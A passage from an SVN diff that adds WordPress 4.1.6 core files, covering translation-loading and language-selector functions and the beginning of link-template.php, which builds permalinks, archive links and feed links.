+	if ( $loaded = load_textdomain( $domain, $path . $mofile ) )
+		return $loaded;
+
+	// Otherwise, load from the languages directory
+	$mofile = WP_LANG_DIR . '/plugins/' . $mofile;
+	return load_textdomain( $domain, $mofile );
+}
+
+/**
+ * Load the theme's translated strings.
+ *
+ * If the current locale exists as a .mo file in the theme's root directory, it
+ * will be included in the translated strings by the $domain.
+ *
+ * The .mo files must be named based on the locale exactly.
+ *
+ * @since 1.5.0
+ *
+ * @param string $domain Text domain. Unique identifier for retrieving translated strings.
+ * @param string $path   Optional. Path to the directory containing the .mo file.
+ *                       Default false.
+ * @return bool True when textdomain is successfully loaded, false otherwise.
+ */
+function load_theme_textdomain( $domain, $path = false ) {
+	$locale = get_locale();
+	/**
+	 * Filter a theme's locale.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $locale The theme's current locale.
+	 * @param string $domain Text domain. Unique identifier for retrieving translated strings.
+	 */
+	$locale = apply_filters( 'theme_locale', $locale, $domain );
+
+	if ( ! $path )
+		$path = get_template_directory();
+
+	// Load the textdomain according to the theme
+	$mofile = untrailingslashit( $path ) . "/{$locale}.mo";
+	if ( $loaded = load_textdomain( $domain, $mofile ) )
+		return $loaded;
+
+	// Otherwise, load from the languages directory
+	$mofile = WP_LANG_DIR . "/themes/{$domain}-{$locale}.mo";
+	return load_textdomain( $domain, $mofile );
+}
+
+/**
+ * Load the child themes translated strings.
+ *
+ * If the current locale exists as a .mo file in the child themes
+ * root directory, it will be included in the translated strings by the $domain.
+ *
+ * The .mo files must be named based on the locale exactly.
+ *
+ * @since 2.9.0
+ *
+ * @param string $domain Text domain. Unique identifier for retrieving translated strings.
+ * @param string $path   Optional. Path to the directory containing the .mo file.
+ *                       Default false.
+ * @return bool True when the theme textdomain is successfully loaded, false otherwise.
+ */
+function load_child_theme_textdomain( $domain, $path = false ) {
+	if ( ! $path )
+		$path = get_stylesheet_directory();
+	return load_theme_textdomain( $domain, $path );
+}
+
+/**
+ * Return the Translations instance for a text domain.
+ *
+ * If there isn't one, returns empty Translations instance.
+ *
+ * @since 2.8.0
+ *
+ * @param string $domain Text domain. Unique identifier for retrieving translated strings.
+ * @return NOOP_Translations A Translations instance.
+ */
+function get_translations_for_domain( $domain ) {
+	global $l10n;
+	if ( !isset( $l10n[$domain] ) ) {
+		$l10n[$domain] = new NOOP_Translations;
+	}
+	return $l10n[$domain];
+}
+
+/**
+ * Whether there are translations for the text domain.
+ *
+ * @since 3.0.0
+ *
+ * @param string $domain Text domain. Unique identifier for retrieving translated strings.
+ * @return bool Whether there are translations.
+ */
+function is_textdomain_loaded( $domain ) {
+	global $l10n;
+	return isset( $l10n[$domain] );
+}
+
+/**
+ * Translates role name.
+ *
+ * Since the role names are in the database and not in the source there
+ * are dummy gettext calls to get them into the POT file and this function
+ * properly translates them back.
+ *
+ * The before_last_bar() call is needed, because older installs keep the roles
+ * using the old context format: 'Role name|User role' and just skipping the
+ * content after the last bar is easier than fixing them in the DB. New installs
+ * won't suffer from that problem.
+ *
+ * @since 2.8.0
+ *
+ * @param string $name The role name.
+ * @return string Translated role name on success, original name on failure.
+ */
+function translate_user_role( $name ) {
+	return translate_with_gettext_context( before_last_bar($name), 'User role' );
+}
+
+/**
+ * Get all available languages based on the presence of *.mo files in a given directory.
+ *
+ * The default directory is WP_LANG_DIR.
+ *
+ * @since 3.0.0
+ *
+ * @param string $dir A directory to search for language files.
+ *                    Default WP_LANG_DIR.
+ * @return array An array of language codes or an empty array if no languages are present. Language codes are formed by stripping the .mo extension from the language file names.
+ */
+function get_available_languages( $dir = null ) {
+	$languages = array();
+
+	foreach( (array)glob( ( is_null( $dir) ? WP_LANG_DIR : $dir ) . '/*.mo' ) as $lang_file ) {
+		$lang_file = basename($lang_file, '.mo');
+		if ( 0 !== strpos( $lang_file, 'continents-cities' ) && 0 !== strpos( $lang_file, 'ms-' ) &&
+			0 !== strpos( $lang_file, 'admin-' ))
+			$languages[] = $lang_file;
+	}
+
+	return $languages;
+}
+
+/**
+ * Get installed translations.
+ *
+ * Looks in the wp-content/languages directory for translations of
+ * plugins or themes.
+ *
+ * @since 3.7.0
+ *
+ * @param string $type What to search for. Accepts 'plugins', 'themes', 'core'.
+ * @return array Array of language data.
+ */
+function wp_get_installed_translations( $type ) {
+	if ( $type !== 'themes' && $type !== 'plugins' && $type !== 'core' )
+		return array();
+
+	$dir = 'core' === $type ? '' : "/$type";
+
+	if ( ! is_dir( WP_LANG_DIR ) )
+		return array();
+
+	if ( $dir && ! is_dir( WP_LANG_DIR . $dir ) )
+		return array();
+
+	$files = scandir( WP_LANG_DIR . $dir );
+	if ( ! $files )
+		return array();
+
+	$language_data = array();
+
+	foreach ( $files as $file ) {
+		if ( '.' === $file[0] || is_dir( $file ) ) {
+			continue;
+		}
+		if ( substr( $file, -3 ) !== '.po' ) {
+			continue;
+		}
+		if ( ! preg_match( '/(?:(.+)-)?([A-Za-z_]{2,6}).po/', $file, $match ) ) {
+			continue;
+		}
+		if ( ! in_array( substr( $file, 0, -3 ) . '.mo', $files ) )  {
+			continue;
+		}
+
+		list( , $textdomain, $language ) = $match;
+		if ( '' === $textdomain ) {
+			$textdomain = 'default';
+		}
+		$language_data[ $textdomain ][ $language ] = wp_get_pomo_file_data( WP_LANG_DIR . "$dir/$file" );
+	}
+	return $language_data;
+}
+
+/**
+ * Extract headers from a PO file.
+ *
+ * @since 3.7.0
+ *
+ * @param string $po_file Path to PO file.
+ * @return array PO file headers.
+ */
+function wp_get_pomo_file_data( $po_file ) {
+	$headers = get_file_data( $po_file, array(
+		'POT-Creation-Date'  => '"POT-Creation-Date',
+		'PO-Revision-Date'   => '"PO-Revision-Date',
+		'Project-Id-Version' => '"Project-Id-Version',
+		'X-Generator'        => '"X-Generator',
+	) );
+	foreach ( $headers as $header => $value ) {
+		// Remove possible contextual '\n' and closing double quote.
+		$headers[ $header ] = preg_replace( '~(\\\n)?"$~', '', $value );
+	}
+	return $headers;
+}
+
+/**
+ * Language selector.
+ *
+ * @since 4.0.0
+ *
+ * @see get_available_languages()
+ * @see wp_get_available_translations()
+ *
+ * @param string|array $args {
+ *     Optional. Array or string of arguments for outputting the language selector.
+ *
+ *     @type string  $id                           ID attribute of the select element. Default empty.
+ *     @type string  $name                         Name attribute of the select element. Default empty.
+ *     @type array   $languages                    List of installed languages, contain only the locales.
+ *                                                 Default empty array.
+ *     @type array   $translations                 List of available translations. Default result of
+ *                                                 {@see wp_get_available_translations()}.
+ *     @type string  $selected                     Language which should be selected. Default empty.
+ *     @type bool    $show_available_translations  Whether to show available translations. Default true.
+ * }
+ */
+function wp_dropdown_languages( $args = array() ) {
+
+	$args = wp_parse_args( $args, array(
+		'id'           => '',
+		'name'         => '',
+		'languages'    => array(),
+		'translations' => array(),
+		'selected'     => '',
+		'show_available_translations' => true,
+	) );
+
+	$translations = $args['translations'];
+	if ( empty( $translations ) ) {
+		require_once( ABSPATH . 'wp-admin/includes/translation-install.php' );
+		$translations = wp_get_available_translations();
+	}
+
+	/*
+	 * $args['languages'] should only contain the locales. Find the locale in
+	 * $translations to get the native name. Fall back to locale.
+	 */
+	$languages = array();
+	foreach ( $args['languages'] as $locale ) {
+		if ( isset( $translations[ $locale ] ) ) {
+			$translation = $translations[ $locale ];
+			$languages[] = array(
+				'language'    => $translation['language'],
+				'native_name' => $translation['native_name'],
+				'lang'        => $translation['iso'][1],
+			);
+
+			// Remove installed language from available translations.
+			unset( $translations[ $locale ] );
+		} else {
+			$languages[] = array(
+				'language'    => $locale,
+				'native_name' => $locale,
+				'lang'        => '',
+			);
+		}
+	}
+
+	$translations_available = ( ! empty( $translations ) && $args['show_available_translations'] );
+
+	printf( '<select name="%s" id="%s">', esc_attr( $args['name'] ), esc_attr( $args['id'] ) );
+
+	// Holds the HTML markup.
+	$structure = array();
+
+	// List installed languages.
+	if ( $translations_available ) {
+		$structure[] = '<optgroup label="' . esc_attr_x( 'Installed', 'translations' ) . '">';
+	}
+	$structure[] = '<option value="" lang="en" data-installed="1">English (United States)</option>';
+	foreach ( $languages as $language ) {
+		$structure[] = sprintf(
+			'<option value="%s" lang="%s"%s data-installed="1">%s</option>',
+			esc_attr( $language['language'] ),
+			esc_attr( $language['lang'] ),
+			selected( $language['language'], $args['selected'], false ),
+			esc_html( $language['native_name'] )
+		);
+	}
+	if ( $translations_available ) {
+		$structure[] = '</optgroup>';
+	}
+
+	// List available translations.
+	if ( $translations_available ) {
+		$structure[] = '<optgroup label="' . esc_attr_x( 'Available', 'translations' ) . '">';
+		foreach ( $translations as $translation ) {
+			$structure[] = sprintf(
+				'<option value="%s" lang="%s"%s>%s</option>',
+				esc_attr( $translation['language'] ),
+				esc_attr( $translation['iso'][1] ),
+				selected( $translation['language'], $args['selected'], false ),
+				esc_html( $translation['native_name'] )
+			);
+		}
+		$structure[] = '</optgroup>';
+	}
+
+	echo join( "\n", $structure );
+
+	echo '</select>';
+}
Index: /tags/4.1.6/src/wp-includes/link-template.php
===================================================================
--- /tags/4.1.6/src/wp-includes/link-template.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/link-template.php	(revision 33402)
@@ -0,0 +1,3324 @@
+<?php
+/**
+ * WordPress Link Template Functions
+ *
+ * @package WordPress
+ * @subpackage Template
+ */
+
+/**
+ * Display the permalink for the current post.
+ *
+ * @since 1.2.0
+ */
+function the_permalink() {
+	/**
+	 * Filter the display of the permalink for the current post.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string $permalink The permalink for the current post.
+	 */
+	echo esc_url( apply_filters( 'the_permalink', get_permalink() ) );
+}
+
+/**
+ * Retrieve trailing slash string, if blog set for adding trailing slashes.
+ *
+ * Conditionally adds a trailing slash if the permalink structure has a trailing
+ * slash, strips the trailing slash if not. The string is passed through the
+ * 'user_trailingslashit' filter. Will remove trailing slash from string, if
+ * blog is not set to have them.
+ *
+ * @since 2.2.0
+ * @uses $wp_rewrite
+ *
+ * @param string $string URL with or without a trailing slash.
+ * @param string $type_of_url The type of URL being considered (e.g. single, category, etc) for use in the filter.
+ * @return string The URL with the trailing slash appended or stripped.
+ */
+function user_trailingslashit($string, $type_of_url = '') {
+	global $wp_rewrite;
+	if ( $wp_rewrite->use_trailing_slashes )
+		$string = trailingslashit($string);
+	else
+		$string = untrailingslashit($string);
+
+	/**
+	 * Filter the trailing slashed string, depending on whether the site is set
+	 * to use training slashes.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param string $string      URL with or without a trailing slash.
+	 * @param string $type_of_url The type of URL being considered. Accepts 'single', 'single_trackback',
+	 *                            'single_feed', 'single_paged', 'feed', 'category', 'page', 'year',
+	 *                            'month', 'day', 'paged', 'post_type_archive'.
+	 */
+	$string = apply_filters( 'user_trailingslashit', $string, $type_of_url );
+	return $string;
+}
+
+/**
+ * Display permalink anchor for current post.
+ *
+ * The permalink mode title will use the post title for the 'a' element 'id'
+ * attribute. The id mode uses 'post-' with the post ID for the 'id' attribute.
+ *
+ * @since 0.71
+ *
+ * @param string $mode Permalink mode can be either 'title', 'id', or default, which is 'id'.
+ */
+function permalink_anchor( $mode = 'id' ) {
+	$post = get_post();
+	switch ( strtolower( $mode ) ) {
+		case 'title':
+			$title = sanitize_title( $post->post_title ) . '-' . $post->ID;
+			echo '<a id="'.$title.'"></a>';
+			break;
+		case 'id':
+		default:
+			echo '<a id="post-' . $post->ID . '"></a>';
+			break;
+	}
+}
+
+/**
+ * Retrieve full permalink for current post or post ID.
+ *
+ * This function is an alias for get_permalink().
+ *
+ * @since 3.9.0
+ *
+ * @see get_permalink()
+ *
+ * @param int|WP_Post $id        Optional. Post ID or post object. Default is the current post.
+ * @param bool        $leavename Optional. Whether to keep post name or page name. Default false.
+ * @return string|bool The permalink URL or false if post does not exist.
+ */
+function get_the_permalink( $id = 0, $leavename = false ) {
+	return get_permalink( $id, $leavename );
+}
+
+/**
+ * Retrieve full permalink for current post or post ID.
+ *
+ * @since 1.0.0
+ *
+ * @param int|WP_Post $id        Optional. Post ID or post object. Default current post.
+ * @param bool        $leavename Optional. Whether to keep post name or page name. Default false.
+ * @return string|bool The permalink URL or false if post does not exist.
+ */
+function get_permalink( $id = 0, $leavename = false ) {
+	$rewritecode = array(
+		'%year%',
+		'%monthnum%',
+		'%day%',
+		'%hour%',
+		'%minute%',
+		'%second%',
+		$leavename? '' : '%postname%',
+		'%post_id%',
+		'%category%',
+		'%author%',
+		$leavename? '' : '%pagename%',
+	);
+
+	if ( is_object($id) && isset($id->filter) && 'sample' == $id->filter ) {
+		$post = $id;
+		$sample = true;
+	} else {
+		$post = get_post($id);
+		$sample = false;
+	}
+
+	if ( empty($post->ID) )
+		return false;
+
+	if ( $post->post_type == 'page' )
+		return get_page_link($post, $leavename, $sample);
+	elseif ( $post->post_type == 'attachment' )
+		return get_attachment_link( $post, $leavename );
+	elseif ( in_array($post->post_type, get_post_types( array('_builtin' => false) ) ) )
+		return get_post_permalink($post, $leavename, $sample);
+
+	$permalink = get_option('permalink_structure');
+
+	/**
+	 * Filter the permalink structure for a post before token replacement occurs.
+	 *
+	 * Only applies to posts with post_type of 'post'.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string  $permalink The site's permalink structure.
+	 * @param WP_Post $post      The post in question.
+	 * @param bool    $leavename Whether to keep the post name.
+	 */
+	$permalink = apply_filters( 'pre_post_link', $permalink, $post, $leavename );
+
+	if ( '' != $permalink && !in_array($post->post_status, array('draft', 'pending', 'auto-draft')) ) {
+		$unixtime = strtotime($post->post_date);
+
+		$category = '';
+		if ( strpos($permalink, '%category%') !== false ) {
+			$cats = get_the_category($post->ID);
+			if ( $cats ) {
+				usort($cats, '_usort_terms_by_ID'); // order by ID
+
+				/**
+				 * Filter the category that gets used in the %category% permalink token.
+				 *
+				 * @since 3.5.0
+				 *
+				 * @param stdClass $cat  The category to use in the permalink.
+				 * @param array    $cats Array of all categories associated with the post.
+				 * @param WP_Post  $post The post in question.
+				 */
+				$category_object = apply_filters( 'post_link_category', $cats[0], $cats, $post );
+
+				$category_object = get_term( $category_object, 'category' );
+				$category = $category_object->slug;
+				if ( $parent = $category_object->parent )
+					$category = get_category_parents($parent, false, '/', true) . $category;
+			}
+			// show default category in permalinks, without
+			// having to assign it explicitly
+			if ( empty($category) ) {
+				$default_category = get_term( get_option( 'default_category' ), 'category' );
+				$category = is_wp_error( $default_category ) ? '' : $default_category->slug;
+			}
+		}
+
+		$author = '';
+		if ( strpos($permalink, '%author%') !== false ) {
+			$authordata = get_userdata($post->post_author);
+			$author = $authordata->user_nicename;
+		}
+
+		$date = explode(" ",date('Y m d H i s', $unixtime));
+		$rewritereplace =
+		array(
+			$date[0],
+			$date[1],
+			$date[2],
+			$date[3],
+			$date[4],
+			$date[5],
+			$post->post_name,
+			$post->ID,
+			$category,
+			$author,
+			$post->post_name,
+		);
+		$permalink = home_url( str_replace($rewritecode, $rewritereplace, $permalink) );
+		$permalink = user_trailingslashit($permalink, 'single');
+	} else { // if they're not using the fancy permalink option
+		$permalink = home_url('?p=' . $post->ID);
+	}
+
+	/**
+	 * Filter the permalink for a post.
+	 *
+	 * Only applies to posts with post_type of 'post'.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string  $permalink The post's permalink.
+	 * @param WP_Post $post      The post in question.
+	 * @param bool    $leavename Whether to keep the post name.
+	 */
+	return apply_filters( 'post_link', $permalink, $post, $leavename );
+}
+
+/**
+ * Retrieve the permalink for a post with a custom post type.
+ *
+ * @since 3.0.0
+ *
+ * @param int $id Optional. Post ID.
+ * @param bool $leavename Optional, defaults to false. Whether to keep post name.
+ * @param bool $sample Optional, defaults to false. Is it a sample permalink.
+ * @return string The post permalink.
+ */
+function get_post_permalink( $id = 0, $leavename = false, $sample = false ) {
+	global $wp_rewrite;
+
+	$post = get_post($id);
+
+	if ( is_wp_error( $post ) )
+		return $post;
+
+	$post_link = $wp_rewrite->get_extra_permastruct($post->post_type);
+
+	$slug = $post->post_name;
+
+	$draft_or_pending = isset($post->post_status) && in_array( $post->post_status, array( 'draft', 'pending', 'auto-draft' ) );
+
+	$post_type = get_post_type_object($post->post_type);
+
+	if ( $post_type->hierarchical ) {
+		$slug = get_page_uri( $id );
+	}
+
+	if ( !empty($post_link) && ( !$draft_or_pending || $sample ) ) {
+		if ( ! $leavename ) {
+			$post_link = str_replace("%$post->post_type%", $slug, $post_link);
+		}
+		$post_link = home_url( user_trailingslashit($post_link) );
+	} else {
+		if ( $post_type->query_var && ( isset($post->post_status) && !$draft_or_pending ) )
+			$post_link = add_query_arg($post_type->query_var, $slug, '');
+		else
+			$post_link = add_query_arg(array('post_type' => $post->post_type, 'p' => $post->ID), '');
+		$post_link = home_url($post_link);
+	}
+
+	/**
+	 * Filter the permalink for a post with a custom post type.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string  $post_link The post's permalink.
+	 * @param WP_Post $post      The post in question.
+	 * @param bool    $leavename Whether to keep the post name.
+	 * @param bool    $sample    Is it a sample permalink.
+	 */
+	return apply_filters( 'post_type_link', $post_link, $post, $leavename, $sample );
+}
+
+/**
+ * Retrieve permalink from post ID.
+ *
+ * @since 1.0.0
+ *
+ * @param int|WP_Post $post_id Optional. Post ID or WP_Post object. Default is global $post.
+ * @param mixed $deprecated Not used.
+ * @return string
+ */
+function post_permalink( $post_id = 0, $deprecated = '' ) {
+	if ( !empty( $deprecated ) )
+		_deprecated_argument( __FUNCTION__, '1.3' );
+
+	return get_permalink($post_id);
+}
+
+/**
+ * Retrieve the permalink for current page or page ID.
+ *
+ * Respects page_on_front. Use this one.
+ *
+ * @since 1.5.0
+ *
+ * @param int|object $post Optional. Post ID or object.
+ * @param bool $leavename Optional, defaults to false. Whether to keep page name.
+ * @param bool $sample Optional, defaults to false. Is it a sample permalink.
+ * @return string The page permalink.
+ */
+function get_page_link( $post = false, $leavename = false, $sample = false ) {
+	$post = get_post( $post );
+
+	if ( 'page' == get_option( 'show_on_front' ) && $post->ID == get_option( 'page_on_front' ) )
+		$link = home_url('/');
+	else
+		$link = _get_page_link( $post, $leavename, $sample );
+
+	/**
+	 * Filter the permalink for a page.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string $link    The page's permalink.
+	 * @param int    $post_id The ID of the page.
+	 * @param bool   $sample  Is it a sample permalink.
+	 */
+	return apply_filters( 'page_link', $link, $post->ID, $sample );
+}
+
+/**
+ * Retrieve the page permalink.
+ *
+ * Ignores page_on_front. Internal use only.
+ *
+ * @since 2.1.0
+ * @access private
+ *
+ * @param int|object $post Optional. Post ID or object.
+ * @param bool $leavename Optional. Leave name.
+ * @param bool $sample Optional. Sample permalink.
+ * @return string The page permalink.
+ */
+function _get_page_link( $post = false, $leavename = false, $sample = false ) {
+	global $wp_rewrite;
+
+	$post = get_post( $post );
+
+	$draft_or_pending = in_array( $post->post_status, array( 'draft', 'pending', 'auto-draft' ) );
+
+	$link = $wp_rewrite->get_page_permastruct();
+
+	if ( !empty($link) && ( ( isset($post->post_status) && !$draft_or_pending ) || $sample ) ) {
+		if ( ! $leavename ) {
+			$link = str_replace('%pagename%', get_page_uri( $post ), $link);
+		}
+
+		$link = home_url($link);
+		$link = user_trailingslashit($link, 'page');
+	} else {
+		$link = home_url( '?page_id=' . $post->ID );
+	}
+
+	/**
+	 * Filter the permalink for a non-page_on_front page.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string $link    The page's permalink.
+	 * @param int    $post_id The ID of the page.
+	 */
+	return apply_filters( '_get_page_link', $link, $post->ID );
+}
+
+/**
+ * Retrieve permalink for attachment.
+ *
+ * This can be used in the WordPress Loop or outside of it.
+ *
+ * @since 2.0.0
+ *
+ * @param int|object $post Optional. Post ID or object.
+ * @param bool $leavename Optional. Leave name.
+ * @return string The attachment permalink.
+ */
+function get_attachment_link( $post = null, $leavename = false ) {
+	global $wp_rewrite;
+
+	$link = false;
+
+	$post = get_post( $post );
+	$parent = ( $post->post_parent > 0 && $post->post_parent != $post->ID ) ? get_post( $post->post_parent ) : false;
+
+	if ( $wp_rewrite->using_permalinks() && $parent ) {
+		if ( 'page' == $parent->post_type )
+			$parentlink = _get_page_link( $post->post_parent ); // Ignores page_on_front
+		else
+			$parentlink = get_permalink( $post->post_parent );
+
+		if ( is_numeric($post->post_name) || false !== strpos(get_option('permalink_structure'), '%category%') )
+			$name = 'attachment/' . $post->post_name; // <permalink>/<int>/ is paged so we use the explicit attachment marker
+		else
+			$name = $post->post_name;
+
+		if ( strpos($parentlink, '?') === false )
+			$link = user_trailingslashit( trailingslashit($parentlink) . '%postname%' );
+
+		if ( ! $leavename )
+			$link = str_replace( '%postname%', $name, $link );
+	}
+
+	if ( ! $link )
+		$link = home_url( '/?attachment_id=' . $post->ID );
+
+	/**
+	 * Filter the permalink for an attachment.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param string $link    The attachment's permalink.
+	 * @param int    $post_id Attachment ID.
+	 */
+	return apply_filters( 'attachment_link', $link, $post->ID );
+}
+
+/**
+ * Retrieve the permalink for the year archives.
+ *
+ * @since 1.5.0
+ *
+ * @param int|bool $year False for current year or year for permalink.
+ * @return string The permalink for the specified year archive.
+ */
+function get_year_link($year) {
+	global $wp_rewrite;
+	if ( !$year )
+		$year = gmdate('Y', current_time('timestamp'));
+	$yearlink = $wp_rewrite->get_year_permastruct();
+	if ( !empty($yearlink) ) {
+		$yearlink = str_replace('%year%', $year, $yearlink);
+		$yearlink = home_url( user_trailingslashit( $yearlink, 'year' ) );
+	} else {
+		$yearlink = home_url( '?m=' . $year );
+	}
+
+	/**
+	 * Filter the year archive permalink.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string $yearlink Permalink for the year archive.
+	 * @param int    $year     Year for the archive.
+	 */
+	return apply_filters( 'year_link', $yearlink, $year );
+}
+
+/**
+ * Retrieve the permalink for the month archives with year.
+ *
+ * @since 1.0.0
+ *
+ * @param bool|int $year False for current year. Integer of year.
+ * @param bool|int $month False for current month. Integer of month.
+ * @return string The permalink for the specified month and year archive.
+ */
+function get_month_link($year, $month) {
+	global $wp_rewrite;
+	if ( !$year )
+		$year = gmdate('Y', current_time('timestamp'));
+	if ( !$month )
+		$month = gmdate('m', current_time('timestamp'));
+	$monthlink = $wp_rewrite->get_month_permastruct();
+	if ( !empty($monthlink) ) {
+		$monthlink = str_replace('%year%', $year, $monthlink);
+		$monthlink = str_replace('%monthnum%', zeroise(intval($month), 2), $monthlink);
+		$monthlink = home_url( user_trailingslashit( $monthlink, 'month' ) );
+	} else {
+		$monthlink = home_url( '?m=' . $year . zeroise( $month, 2 ) );
+	}
+
+	/**
+	 * Filter the month archive permalink.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string $monthlink Permalink for the month archive.
+	 * @param int    $year      Year for the archive.
+	 * @param int    $month     The month for the archive.
+	 */
+	return apply_filters( 'month_link', $monthlink, $year, $month );
+}
+
+/**
+ * Retrieve the permalink for the day archives with year and month.
+ *
+ * @since 1.0.0
+ *
+ * @param bool|int $year False for current year. Integer of year.
+ * @param bool|int $month False for current month. Integer of month.
+ * @param bool|int $day False for current day. Integer of day.
+ * @return string The permalink for the specified day, month, and year archive.
+ */
+function get_day_link($year, $month, $day) {
+	global $wp_rewrite;
+	if ( !$year )
+		$year = gmdate('Y', current_time('timestamp'));
+	if ( !$month )
+		$month = gmdate('m', current_time('timestamp'));
+	if ( !$day )
+		$day = gmdate('j', current_time('timestamp'));
+
+	$daylink = $wp_rewrite->get_day_permastruct();
+	if ( !empty($daylink) ) {
+		$daylink = str_replace('%year%', $year, $daylink);
+		$daylink = str_replace('%monthnum%', zeroise(intval($month), 2), $daylink);
+		$daylink = str_replace('%day%', zeroise(intval($day), 2), $daylink);
+		$daylink = home_url( user_trailingslashit( $daylink, 'day' ) );
+	} else {
+		$daylink = home_url( '?m=' . $year . zeroise( $month, 2 ) . zeroise( $day, 2 ) );
+	}
+
+	/**
+	 * Filter the day archive permalink.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string $daylink Permalink for the day archive.
+	 * @param int    $year    Year for the archive.
+	 * @param int    $month   Month for the archive.
+	 * @param int    $day     The day for the archive.
+	 */
+	return apply_filters( 'day_link', $daylink, $year, $month, $day );
+}
+
+/**
+ * Display the permalink for the feed type.
+ *
+ * @since 3.0.0
+ *
+ * @param string $anchor The link's anchor text.
+ * @param string $feed Optional, defaults to default feed. Feed type.
+ */
+function the_feed_link( $anchor, $feed = '' ) {
+	$link = '<a href="' . esc_url( get_feed_link( $feed ) ) . '">' . $anchor . '</a>';
+
+	/**
+	 * Filter the feed link anchor tag.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $link The complete anchor tag for a feed link.
+	 * @param string $feed The feed type, or an empty string for the
+	 *                     default feed type.
+	 */
+	echo apply_filters( 'the_feed_link', $link, $feed );
+}
+
+/**
+ * Retrieve the permalink for the feed type.
+ *
+ * @since 1.5.0
+ *
+ * @param string $feed Optional, defaults to default feed. Feed type.
+ * @return string The feed permalink.
+ */
+function get_feed_link($feed = '') {
+	global $wp_rewrite;
+
+	$permalink = $wp_rewrite->get_feed_permastruct();
+	if ( '' != $permalink ) {
+		if ( false !== strpos($feed, 'comments_') ) {
+			$feed = str_replace('comments_', '', $feed);
+			$permalink = $wp_rewrite->get_comment_feed_permastruct();
+		}
+
+		if ( get_default_feed() == $feed )
+			$feed = '';
+
+		$permalink = str_replace('%feed%', $feed, $permalink);
+		$permalink = preg_replace('#/+#', '/', "/$permalink");
+		$output =  home_url( user_trailingslashit($permalink, 'feed') );
+	} else {
+		if ( empty($feed) )
+			$feed = get_default_feed();
+
+		if ( false !== strpos($feed, 'comments_') )
+			$feed = str_replace('comments_', 'comments-', $feed);
+
+		$output = home_url("?feed={$feed}");
+	}
+
+	/**
+	 * Filter the feed type permalink.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string $output The feed permalink.
+	 * @param string $feed   Feed type.
+	 */
+	return apply_filters( 'feed_link', $output, $feed );
+}
+
+/**
+ * Retrieve the permalink for the post comments feed.
+ *
+ * @since 2.2.0
+ *
+ * @param int $post_id Optional. Post ID.
+ * @param string $feed Optional. Feed type.
+ * @return string The permalink for the comments feed for the given post.
+ */
+function get_post_comments_feed_link($post_id = 0, $feed = '') {
+	$post_id = absint( $post_id );
+
+	if ( ! $post_id )
+		$post_id = get_the_ID();
+
+	if ( empty( $feed ) )
+		$feed = get_default_feed();
+
+	if ( '' != get_option('permalink_structure') ) {
+		if ( 'page' == get_option('show_on_front') && $post_id == get_option('page_on_front') )
+			$url = _get_page_link( $post_id );
+		else
+			$url = get_permalink($post_id);
+
+		$url = trailingslashit($url) . 'feed';
+		if ( $feed != get_default_feed() )
+			$url .= "/$feed";
+		$url = user_trailingslashit($url, 'single_feed');
+	} else {
+		$type = get_post_field('post_type', $post_id);
+		if ( 'page' == $type )
+			$url = add_query_arg( array( 'feed' => $feed, 'page_id' => $post_id ), home_url( '/' ) );
+		else
+			$url = add_query_arg( array( 'feed' => $feed, 'p' => $post_id ), home_url( '/' ) );
+	}
+
+	/**
+	 * Filter the post comments feed permalink.
+	 *
+	 * @since 1.5.1
+	 *
+	 * @param string $url Post comments feed permalink.
+	 */
+	return apply_filters( 'post_comments_feed_link', $url );
+}
+
+/**
+ * Display the comment feed link for a post.
+ *
+ * Prints out the comment feed link for a post. Link text is placed in the
+ * anchor. If no link text is specified, default text is used. If no post ID is
+ * specified, the current post is used.
+ *
+ * @since 2.5.0
+ *
+ * @param string $link_text Descriptive text.
+ * @param int $post_id Optional post ID. Default to current post.
+ * @param string $feed Optional. Feed format.
+ * @return string Link to the comment feed for the current post.
+*/
+function post_comments_feed_link( $link_text = '', $post_id = '', $feed = '' ) {
+	$url = esc_url( get_post_comments_feed_link( $post_id, $feed ) );
+	if ( empty($link_text) )
+		$link_text = __('Comments Feed');
+
+	/**
+	 * Filter the post comment feed link anchor tag.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $link    The complete anchor tag for the comment feed link.
+	 * @param int    $post_id Post ID.
+	 * @param string $feed    The feed type, or an empty string for the default feed type.
+	 */
+	echo apply_filters( 'post_comments_feed_link_html', "<a href='$url'>$link_text</a>", $post_id, $feed );
+}
+
+/**
+ * Retrieve the feed link for a given author.
+ *
+ * Returns a link to the feed for all posts by a given author. A specific feed
+ * can be requested or left blank to get the default feed.
+ *
+ * @since 2.5.0
+ *
+ * @param int $author_id ID of an author.
+ * @param string $feed Optional. Feed type.
+ * @return string Link to the feed for the author specified by $author_id.
+*/
+function get_author_feed_link( $author_id, $feed = '' ) {
+	$author_id = (int) $author_id;
+	$permalink_structure = get_option('permalink_structure');
+
+	if ( empty($feed) )
+		$feed = get_default_feed();
+
+	if ( '' == $permalink_structure ) {
+		$link = home_url("?feed=$feed&amp;author=" . $author_id);
+	} else {
+		$link = get_author_posts_url($author_id);
+		if ( $feed == get_default_feed() )
+			$feed_link = 'feed';
+		else
+			$feed_link = "feed/$feed";
+
+		$link = trailingslashit($link) . user_trailingslashit($feed_link, 'feed');
+	}
+
+	/**
+	 * Filter the feed link for a given author.
+	 *
+	 * @since 1.5.1
+	 *
+	 * @param string $link The author feed link.
+	 * @param string $feed Feed type.
+	 */
+	$link = apply_filters( 'author_feed_link', $link, $feed );
+
+	return $link;
+}
+
+/**
+ * Retrieve the feed link for a category.
+ *
+ * Returns a link to the feed for all posts in a given category. A specific feed
+ * can be requested or left blank to get the default feed.
+ *
+ * @since 2.5.0
+ *
+ * @param int $cat_id ID of a category.
+ * @param string $feed Optional. Feed type.
+ * @return string Link to the feed for the category specified by $cat_id.
+*/
+function get_category_feed_link($cat_id, $feed = '') {
+	return get_term_feed_link($cat_id, 'category', $feed);
+}
+
+/**
